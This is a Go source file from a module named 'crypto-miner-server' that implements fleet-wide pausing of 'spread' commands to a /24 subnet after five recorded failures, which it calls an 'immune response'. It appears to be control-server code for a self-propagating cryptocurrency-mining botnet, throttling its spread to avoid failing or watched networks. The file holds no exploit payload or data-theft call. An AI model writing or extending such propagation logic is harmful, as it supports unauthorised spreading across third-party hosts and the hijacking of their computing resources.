package atlas import ( "strings" "time" "crypto-miner-server/internal/db" ) const ( SubnetSpreadFailureThreshold = 5 SubnetSpreadPauseDuration = 24 * time.Hour ) // SubnetImmune applies fleet-wide /24 spread pause after repeated failures. type SubnetImmune struct { db *db.Database } func NewSubnetImmune(database *db.Database) *SubnetImmune { return &SubnetImmune{db: database} } // PrefixFromHostOrIP normalizes a host IP or subnet label to a /24 prefix key. func PrefixFromHostOrIP(hostOrSubnet string) string { s := strings.TrimSpace(hostOrSubnet) s = strings.TrimSuffix(s, ".x") s = strings.TrimSuffix(s, ".0/24") s = strings.TrimSuffix(s, "/24") if prefix := SubnetPrefix(s); prefix != "" { return prefix } parts := strings.Split(s, ".") if len(parts) >= 3 && parts[0] != "" && parts[1] != "" && parts[2] != "" { return strings.Join(parts[:3], ".") } return "" } // RecordSpreadFailure increments subnet failure count; returns true when pause activates. func (s *SubnetImmune) RecordSpreadFailure(hostOrSubnet string) (bool, error) { if s == nil || s.db == nil { return false, nil } prefix := PrefixFromHostOrIP(hostOrSubnet) if prefix == "" { return false, nil } return s.db.RecordSubnetSpreadFailure(prefix) } // IsSpreadPaused reports whether spread commands targeting prefix should be blocked. func (s *SubnetImmune) IsSpreadPaused(hostOrSubnet string) (bool, error) { if s == nil || s.db == nil { return false, nil } prefix := PrefixFromHostOrIP(hostOrSubnet) if prefix == "" { return false, nil } return s.db.IsSubnetSpreadPaused(prefix) } // SpreadActionBlocked returns an error when prefix is under immune pause. func (s *SubnetImmune) SpreadActionBlocked(hostOrSubnet string) error { paused, err := s.IsSpreadPaused(hostOrSubnet) if err != nil { return err } if paused { return &SpreadPauseError{Prefix: PrefixFromHostOrIP(hostOrSubnet)} } return nil } // SpreadPauseError is returned when a /24 is under subnet immune response. type SpreadPauseError struct { Prefix string } func (e *SpreadPauseError) Error() string { if e == nil || e.Prefix == "" { return "subnet spread paused (immune response)" } return "subnet " + e.Prefix + " spread paused for 24h (immune response)" }